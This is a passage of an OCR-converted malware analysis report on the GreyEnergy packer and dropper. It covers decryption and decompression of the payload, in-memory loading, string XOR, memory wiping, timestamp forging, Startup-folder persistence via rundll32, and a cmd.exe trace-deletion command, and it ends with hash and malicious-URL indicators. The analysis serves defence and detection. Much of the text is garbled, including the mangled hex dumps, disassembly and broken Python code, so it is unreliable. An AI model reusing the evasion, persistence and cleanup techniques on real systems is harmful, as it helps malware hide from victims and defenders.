OF 50 01 05|D8 01 54 59|11 5A 14 11|31 00 00 B4l | ooiorprs
58 11 1E 2E |00 74 65 00|78 74 01 08 (84 00 0D 2El | oo1orprc
11 29 3F 11|59 5D 10 60|2E 00 72 64|00 61 74 00 | ocaarroo

".rsrc”
kernel32.LocalAlloc

CO0ooWOoOOWOOO

weseto Decrypted data
329C7749

5520A3D7
AODDD8 2F
D369EEGB
9DB606AZ
AFAE98FB
EB28D039
S5EA7DC56

D7 10 A3 00|00 30 16 10(85 O 00 74 11 00 8p 45| | SoTorEs? |EZD3A83

00 FC DC 10|15 68 01 DB [bD 11 E2 16|11 B2 Fc 00| | S01arE5S

€9 C3 01 CA|51 00 51 56|00 88 75 00|08 57 00 GA[l | SoTorESy |9B7CSAB
04 00 5F 57|00 56 E9 11|EB E8 00 83 0A 10 FF 83| | 00T0rE3s |3aeaaacy
00 C6 08 00|56 DD 10 &C (D7 10 8D 44 01 21 50 00ff | SoTorEsE |B32283¢t
£8 BE 01 08|88 00 DO 89|00 55 F8 00 85 D2 00 74| | JOIoFE3c |BBE12304
45 00 66 83|00 3 00 00|74 3C 00 88 |cE 00 53 OF | | SOTaFEAT |SoaSeacD
00 B7 09 00(88 C7 00 83 |£0 00 03 8A 00 44 05 ooff | SOIoFErd |9DITEXCS

33 00 C1 B9|01 0B 05 10 /66 23 00 C1|66 00 89 02 g%gg%ggg
00 EB 03 0248 0A 01 C4 (47 00 8D OC |00 78 83 00 9ED1DAYA
€2 02 02 21|39 00 00 75|00 C8 5B 01|B2 F8 00 5F 131D1247

00 02 6A 20|56 56 00 68|90 10 FF Fc 10 89 75 00l| | Jotorcey |SEe31E20

Figure 29 - The location for the decrypted data and the length of the buffer are identified.
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The decryption algorithm is very simple and has been re-implemented with the following Python code:

def decrypt (cipher, keymap) :
ikey =1
keysum = 0
for idx in range(len(cipher)):

keysum = (keysum + keymap[ikey]) % 256
keymap [ikey], keymap[keysum] = keymap[keysum], keymap[ikey]
keymap idx = (keymap[ikey] + keymap[keysum]) % 256

A

cipher[idx] "= keymap[keymap idx]
ikey = (ikey + 1) % 256
return cipher

Looking at the beginning of the output buffer, it is immediately clear that the data contains an executable,
based on the presence of the signature 0x4D5A. Looking closely, however, shows several unexpected bytes
between the recognized patterns, indicating that the data has not been completely reconstructed yet.

Usually, the PE header contains several sequences of zeros, which are not present in the decrypted buffer,
suggesting that it could be compressed somehow.
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4.7.5. Decompression algorithm

This time my assumption is quickly confirmed, because after about ten instructions, there is a function with
parameters from the offset of the decrypted data. The parameters indicate the function’s size and include a
pointer to a new buffer (previously allocated). After this function’s execution, the new buffer contains a valid PE
header, confirming that the data was compressed.

0040674C

00406750
00406756
00406759

004067 5E

00406760

00406765
00406767

00406768
004067 6D

00406772
0040677
0040677
<

3
5

<

call <d4e97al8be820ala3af639c9bcal2lc5f85a3f49a37
mov dword ptr ss:[ebp-68],eax

uncompress MZ

after decompression

= P-OOR, U
je d4e97al8be820ala3af639c9bca2lc5f85a3f4
mov eax,dword ptr ss:|[febp-Cf]

mov ecx,5067B9A5

mov Eecx,eax

jmp d4e97al8be820ala3af639c9bca2lc5f8
and ch,dh

7?77

xor eax,CAB7A093

jmp d4e97al8be820ala3af639c9bcallc
cmpsd

or al,55

85a3f49a37273

raa

using "Binary (Raw)"

load decompressed mz addr

Junk
junk

Decompre

mov ebp.esp

xssed buffer

DO6E4080

E..%M...._. . .ufi
EE 0C 00 55 /8B EC 51 8365 FC 00 68| .E.JA..U.iQ.eu.h

9F
0019FDDC
~J0019FDED
0019FDE4
0019FDE8
0019FDEC
0019FDFO
0019FDF4
0019FDF8
0019FDFC
0019FEQ0
0019FE04
0019FE08
0019FEQC
0019FE10
0019FE14
0019FE18
0019FELC
0019FE20
0019FE24
0019FE28
0019FE2C
0019FE30
0019FE34
0019FE38
0019FE3C
0019FE40
0019FE44
0019FE48
0019FE4C
0019FES50
0019FES4
0019FE58
0019FESC
0019FE60
0019FE64
0019FE68
D019FE6C

003CADOD
0000D800
05F5E100
006C6F28
0019FFFO
00604670
006C7098
74175850
00000000
00000000
00000000
006C1AEQ
329C7749
5520A3D7
AOQDDDB2F
D369EEGB
9DB606A2
AFAE9BFB
EB28D039
SEA7DCS6
E703A835
BCF346FA
9B7CCAB9
30672A78
B35285C1
BB61230A
04ACAICD
OD97ESC3
262EFC16
62E0244C
950CD26C
9EDLDA%A
131D1247
DB651F2D
4E9133C5
4FDE5D71
OFB87CBF4
37684887

"pg™

n

.rsrc”
kernel32.LocalAalloc

Figure 30 - The buffer containing the uncompressed binary is identified.

At this point it's apparent that the high entropy score of the overlay is due to encrypted and compressed data.

4.7.6. The original entry point (OEP)

Next, the packer points to the uncompressed buffer, parses the PE header, and iterates all the sections again.
The technique is very similar to the previous one and the goal is to access the appended data of the
uncompressed executable.
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Accessing the overlay data reveals that it contains a second PE header, which is the real malicious
component (backdoor) waiting to be installed inside the victim’s system.

Packer

EXECUTABLEFILE L eereeeerrernnacaaaas

Ox28 Bytes DECRYPTION KEY :
e Decrypting Using : Compressed :
the 0x28 Key : Data :
ENCRYPTED
DA/ 01010 :
w0 T R,

01010

LZW (variant)
Decompression

Executable

Malware Overlay:

Backdoor dﬁhmﬂware

Figure 31 - The flow executed by the packer includes decryption and decompression of the dropper and backdoor.

It's now possible to identify two specific components from the unpacked data, the dropper and the backdoor.

The next task performed by the packer is to execute the dropper in-memory without storing it inside the
filesystem. To achieve that goal, the following steps are taken by the binary:

e A new buffer is allocated in the packer’s virtual address space using the APl VirtualAlloc. Then,
all the sections of the dropper are copied inside it.

e All the imports contained inside the PE header are resolved using the
APIs LoadLibrary and GetProcAddress.

e All the sections’ permissions are set in accordance with the PE header using the
APl virtualProtect

e The dropper binary is relocated in accordance with the . reloc section
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Once all the steps are done, the dropper executable is correctly loaded into memory waiting to be
executed. This is the final confirmation that the binary is a packer, because it meets all the primary

characteristics of packers.

The packer extracts the entry point address (used to describe where the code starts inside the binary) from the
PE header of the dropper and jumps to it using an unconditional instruction JMP. Once achieved, the
execution flow migrates from the packer’s code to the dropper’s code.

Its easy to notice, because the execution flow leaves the packer's code section allocated at the offset
0x0040100, and jumps to a completely different one, 0x0021964. This last offset was allocated by the OS
using a VirtualAlloc API, so it could be different each time it's executed.

jmp eax I

antl

Lliotes . g;;ikpoms 8 Memory Map () call stack &5 SEH

jo d4e97al8be820ala3af639c9bca?lc5f85a3f49a37275k

adc al,5B
]

movsb

fucomp st(0),st(5)
or eax,584E242A

iretd

14
jge <d4e97al&be&ZOalaBafG39c9bc321c5f85a}f4933727

inc esi

meeel. ONORAN~O

P
mov ebp,esp
sub esp,850
push ebx
push esi
xor esi,esi
push edi
mov dword ptr
mov dword ptr

mov dword ptr s

mov dword ptr
ganm 2169o
test eax,eax
je 21B47

lea eax,dword

100, esi
cfl,esi
44, esi
8] ,esi

ss:[lebp
ss:|febp
:lfebp
ss:[lebp

ptr ss:llebp-42

B8 emo a2 (L

1

glStack

eave
jmp d4e97al8be820ala3af639c9bca2lc5f85a3f49a372793

& Handees

§7 Trace

ebp=0019FF 94

00021964

o) script %] Symbols <> Source /- References W Threads £ Snowman
call the dropper entrypoini~ Hide FPU
EAX 00021964
EAX contains the 2 ey
entr oint 74178484
yp EBP 0019FF94
ESP 0019FF7C
ESI 00407377
EDI 00407377
EIP 00406AC4
€3 :EntryPoint
= 5 T/ saipt %l symbols < Sowce /- References W Threads ./ Snowman
A| Hide FPU
Jump to the unpacked code EAX 00021964
EBX  0000C600
. . ECX 005DAE98
EntryPoint EDX 74178484
e s EEP  0019FF94
EntryPoint ESP 0019FF7C
EntryPoint ESI 00407377
EntryPoint EDI 00407377
EntryPoint
[ebp-8]:BaseThreadInitThuni EIP 00021964
EFLAGS 00000206
ZE N _PE 1 __AF 0O
o [ efaut (stdcat)
1: [esprd] 00SDAEIS
2t esp+8) 0000C600
3: [espsc] 00271000
4

kernel32.74178484

<d4e97al8be820ala3af6
<d4e97al8be820ala3afe
d4e97al8beB820alalaf63

7 Trace

kernel32.74178484

<d4e97al8beB20ala3afé
<d4e97al8beB20ala3af6

[esp+10] 74178460 <kernel32.saseThreadInitThunk>

Figure 32 - The execution flow jumps from the packer to the dropper code using the JMP instruction.
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5. Stage 2 — Dropper

The dropper is a very small piece of code whose purpose is to drop the real malware inside the victim’'s
system. A part of the dropper’s mission is to make the malware persistent, so it will survive an eventual system
reboot. Luckily the dropper is not as protected against analysis as the packer was, so it is easier to follow the
logic flow.

5.1. Single execution

The malicious malware has probably been developed to execute only once, because the dropper checks if
another process is running with a mutex using a unique name in the system. The name is obtained

dynamically using the API GetCurrentHwProfiled, which uses the field szHwProfileGuidas the
parameter opening the mutex. If it already exists, the process terminates itself.

1llsigned int check mutex() |

g _
2f

3| signed int v@; // esi

4| struct tagHW PROFILE_INFOA HwProfileInfo; // [esp+4h] [ebp-7Ch]

o

¥
etCurrentHwProfileA(&HwProfileInfo) && OpenMutexA(SYNCHRONIZE, FALSE, HwProfileInfo.szHwProfileGuid) )

v 8;
return ve;

n o =

S

o W ca

}

Figure 33 - The dropper checks for the presence of a unique name, using the field szHwProfileGuid.
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5.2. String encryption

All the strings used by the dropper are encrypted and stored inside the section . rdata, which usually contains
all the read-only data.

The algorithm to decrypt the strings is a simple XOR instruction. In this case though, every string has a specific
4-byte XOR key that is declared at the beginning of the string itself. Even though a 4-byte key is used by the
analyzed sample, the data structure appears to support a XOR key up to 8-bytes (the screenshot below shows
0x00 repeated 4 times).

.rdata:ee4e22c4 unk_4822C4 db eash ; |

’-:Ia-_a.,.,—.,ul::u XDR kﬂy db 96h ;

4Ch ;

.rdata:884822C6
=+« AGAGRIITT
N Fda il e s P

= (AGAAGIIC D
rdata:eed4822C8

rdata:eed4822C9

raatesc0s02caUNused key
.rdata:ee4822CB

.rdata:eed4822CC

.rdata:ee4822CD

.rdata:884822CE db 8B6h ; 9
.rdata:884822CF db ]
.rdata: 88482208 db &Ch ; 1
.rdata: 88482201 XORed db @
.rdata:8e482202 . db &1lh ; a
.rdata:08492203 5’[r|ﬂg db @
.rdata:ee4822D4 db 85h ;
.rdata: 88482205 db e
.rdata:884822D6 db 8B6h ; 9
.rdata: 88482207 db @
.rdata: 88482208 db &Ch ; 1
.rdata: 88482209 db a

Figure 34 - The decryption of the strings uses a 4-byte XOR key, although the data structure supports up to an 8-byte key.

The XOR-based algorithm chosen to encrypt the strings is easy to break, but it does protect against string
extraction analysis. If the suspicious strings were stored in cleartext, they could trigger alarms by pattern-
based security systems.

5.3. Anti-forensic technique: memory wipe

The dropper does not use the massive amount of anti-analysis techniques seen with the packer. However, the
malware author implemented an in-line memory wipe algorithm in order to defeat common memory dumping
analysis techniques. As observed with the packer, the memory is overwritten with the value 0x0 only once, but
it was enough to effectively hide the malicious activity.
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Once again, this is another indicator that the threat actors were highly motivated to keep their activities under
the radar.

.text:004019CA 860 iz short loc 401415

.text:8040819CC 823 push edi ; pointer to the string to wipe
.text:004019CD 8 call esi ; lstrlenW ; get the string size
.text:004019CF 866 add eax, eax ; real string size in byte (unicode)
.text:004019D1 866 mov ecx, edi ; store the string pointer in ECX
.text:004019D3 864 jz short free_memory

.text:004019D5

.text:004019D5 wipe_func: I ; CODE XREF: main+76i3j
.text:804019D5 864 mov byte ptr [ecx],|® ; overwrite one byte with ©6x@
.text:004019D8 864 | inc ecx ; next char in the string
.text:004019D9 866 Oop dec eax ;—decrease the bytes left
.text:804019DA 866 | jnz short|wipe func ; |end of the string?
.text:004019DC 864 Jmp short| free memory|; string overwritten
.text:004019DE 0

.text:904019DE

.text:004019DE loc_4619DE: ; CODE XREF: main+46Tj
.text:004019DE 860 push offset Junk_402310

.text:004019E3 864 call decrygft_string

.text:004019E8 860 mov ebx,fds:1strcath

.text:004019EE 868 mov ediff eax

.text:004019F0 868 push e ; 1pString2

.text:004019F1 864 lea x, [ebp+pszPath]

.text:004019F7 864 push ax ; lpStringl

.text:P04019F8 868 call ebx ; lstrcatW

.text:004019FA 860 test edi, edi

.text:804019FC 868 jz short loc_481A15

.text:004019FE 860 pus, edi ; 1lpString

.text:004019FF 864 (= esi ; lstrlenW

.text:00401A01 868 d eax, eax

.text:00401A03 860 ov ecx, edi

.text:00401A85 860 jz short free_memory

.text:00401A07

.text: 80401407 loc_481A87: ; CODE XREF: main+AS8lj
.text:00401A87 860 mov byte ptr [ecx], ©

.text:00401A0A 860 inc ecx

.text:80401A0B S50 dec eax

.text:00401A0C 860 jnz short loc_401A87

.text:00401A0E

.text:00401A0E ree_memory: ; CODE XREF: main+6FT3J
.text:00401A0E ; main+78Tj ...

.text:P0401A0E 860 push edi H Edl points to the wiped string
.text:00401A0F 864 call ds:LocalFree ; Release the memory
.text:00401A15

Figure 35 - The GreyEnergy dropper uses an in-line memory wipe algorithm in order to defeat common memory dumping
analysis techniques.
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5.4. Malware dropping

The dropper obtains the path to the Windows-based tool rundll32.exe dynamically, which is an indicator that
the malicious component is going to execute a DLL file. The backdoor is dropped inside the
directory $APPDATA%/Microsoft/ using a random GUID and the extension .db. Changing the file extension
is a basic social engineering technique to trick the victim into thinking that the file is something harmless —
while it actually contains malicious executable code.

v = | Microsoft = a X
“ Home Share View o
« . A > Nozomi » AppData > Roaming » Microsoft > v & | Search Microsoft P

Name Date modified Type Size
s Quick acce
_ {4591E270-719A-4B01-A63C- C5B75CF04830}.db 12 Data Base File 50KB
[ Deskto
Word File folder
"_’ DowntA Windows 22/10/201811:38  File folder
=) Docun # VisualStudio File folder
| Picture # Vault 05/04, File folder
repos o UProof 22/10/20 File folder
MALW # Templates 7/11/ File folder
[ tsclie # SystemCertificates 22/10/20181 File folder
Spellin: 06/04/20 File fold
revioo # pelling S04/ e folder
Speech 06/04/20 File folder

Figure 36 - The malicious backdoor has the file extension .db, to trick the victim into thinking the file is harmless.

Soon after
modified by

the malicious payload has been dropped inside the system, its “read the time” information is
the dropper.

The new information is copied by the metadata obtained from the file C: \windows\system32\msvcrt.dll,
as shown in Figure 37.

[ e
==

=
W0 e~

L

[y
oL

e i
\OoCa o~

B B P
o= ®

et _system file time(LPCWSTR lpFileName, int a2, int a3, int

a=bt_=Y —

W

signed int v4; // esi
HANDLE v5; // =ax

struct WIN32 FIND DATAW FindFileData; // [esp+4h] [ebp-258h]
v = @;
/5 = FindFirstFileW(lpFileName, &FindFileData);// c:\windows\system32\msvcrt.dll
I/
if ( v5 I= (HANDLE)-1 )
{
if ( a2 )
*(FILETIME *)a2 = FindFileData.ftCreationTime;
if ( a3 )
*(FILETIME *)a2 = FindFileData.ftlLastAccessTime;
if ( a4 )
*(FILETIME *)ad4 = FindFileData.ftLastWriteTime;
va = 1;
FindClose(w5);
¥
return vi;

Figure 37 - “Read the time” information from the file msvcrt.dll.
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The API setFileTime is used to write the information inside the dropped file. In the machine involved with
the analysis, the time information was set to the values shown below. However, the results will vary depending
on the specific version of the file msvcrt.dll.

Created: Thursday, 12 April 2018, 01:35:01
Modified: Thursday, 12 April 2018, 01:35:01
Accessed: Friday, 2 November 2018, 16:35:33

5.5. Set persistence

In order to survive a system reboot, the dropper creates a link file with a blank name
“SAPPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ . Ink” (10 space
characters) pointing to the malicious file dropped in $APPDATA$ using the following command:

C:\Windows\SysWOW64\rundl1l32.exe {4591E270-719A-4B01-A63C-C5B75CF04830}.db, #1

As the dropped backdoor {4591E270-719A-4B01-A63C-C5B75CF048301} .db is a DLL file, it needs a stub
able to run its exported function. In order to do that, the dropper uses the system utility rundli32.exe to call the
function #1 exported by the DLL.

5.6. Execute the installed backdoor

Finally, the dropper is ready to execute the real piece of malware installed inside the victim’s system.

The commands used to run the backdoor are the same as those used to ensure survival of a reboot:

C:\Windows\SysWOW64\rundl132.exe {4591E270-719A-4B01-A63C-C5B75CF04830}.db, #1

Once the backdoor is executed inside the system, the dropper does a final action to cleanup traces of the
infection. It uses the APl shellExecutelw to execute the following command in the system’s shell:

SWINDIR$\system32\cmd.exe /c (ping localhost >> nul & del [packer path] >> nul)

The most important part of the string above is the command de1, which deletes the packer’s executable that
started the execution flow described so far. The command ping sends 4 ICMP packets to the system’s
loopback interface and seems to be a decoy to cover up the fact that the packer will be deleted from the
filesystem.

The last API called is ExitProcess, which terminates the execution of the packer after the dropper’s code
has been executed inside its address space.
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6. GreyEnergy — A Stealthy Infection Requiring Proactive Defenses

Having completed my analysis, it's evident that the GreyEnergy packer does an effective job of slowing down
the reverse engineering process. The techniques used are not new, but both the tools and the tactics
employed were carefully selected.

For example, the threat actor chose to implement custom algorithms that are not too difficult to defeat but are
hard enough that they protect the malicious payload. Additionally, the broad use of anti-forensic techniques,
such as the wiping of in-memory strings, underline the attacker’s attempt to stay hidden and have the infection
go unnoticed.

To learn how the GreyEnergy attack proceeds post infection, refer to the initial, detailed ESET report. "l Its
capabilities include the ability to update its functionality by retrieving remote modules, the collection of
extensive information about infected systems and the establishment of its own peer-to-peer network so that
only a single node communicates externally.

While GreyEnergy is not known to include an ICS attack module right now, it could have one in the future. It
could also target other critical sectors, such as financial services or telecommunications. Moreover, since
several components of the GreyEnergy APT are now publicly available and detectable by security products,
we can assume the threat actors have modified the malware in response.

Thus, industrial and other critical infrastructure organizations need to defend themselves from GreyEnergy.
The best defense for the infection method described in this paper is to train employees about the dangers of
email phishing campaigns, including how to recognize malicious emails and attachments. The importance of
reporting every suspicious document to the security department should be emphasized.

| also recommend that your critical infrastructure networks be monitored with dedicated cyber security systems
to proactively detect any threats present in the network. Rapid detection facilitates prevention, mitigates
disruptions and protects against the theft of intellectual property.

6.1. Free tools and findings: helping the security community defend against GreyEnergy

As a direct outcome of this analysis, | developed tools to help analysts dissect this piece of malware. The
GreyEnergy Yara Module, B is high-performing code for compiling with the Yara engine. It adds a new
keyword that determines whether a file processed by Yara is the GreyEnergy packer or not.

This tool, combined with the previously published GreyEnergy Unpacker (a Python script that automatically
unpacks both the dropper and the backdoor, extracting them onto a disk), saves other security analysts the
reverse engineering work explained in this paper.

| hope that these tools, along with my findings, facilitate further GreyEnergy analysis and help the security
community better defend critical infrastructure systems in the future.
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7. Appendix - List of Analyzed Malware Components

ESET, in conjunction with its report, shared several malware components with the ICS security community.
The following table shows the components that were used in the research for this paper.

Malware Samples

Component SHA-1
Malicious Word document 177AF8F6E8D6F4952D13F88CDF1887CB7220A645
Dropper 51309371673ACD310F327A10476F707EB914E255
Encrypted overlay payload BD67AE6CI9C4C5DEE10FD8E889133427BF42D0580
I0Cs
Component Malicious URLs

Malicious Word document http://pbank.co.ua/img/rKPGshUCwICOdqe1P8lgbodmykCedtG2zar.png
Malicious Word document http://pbank.co.ua/favicon.ico
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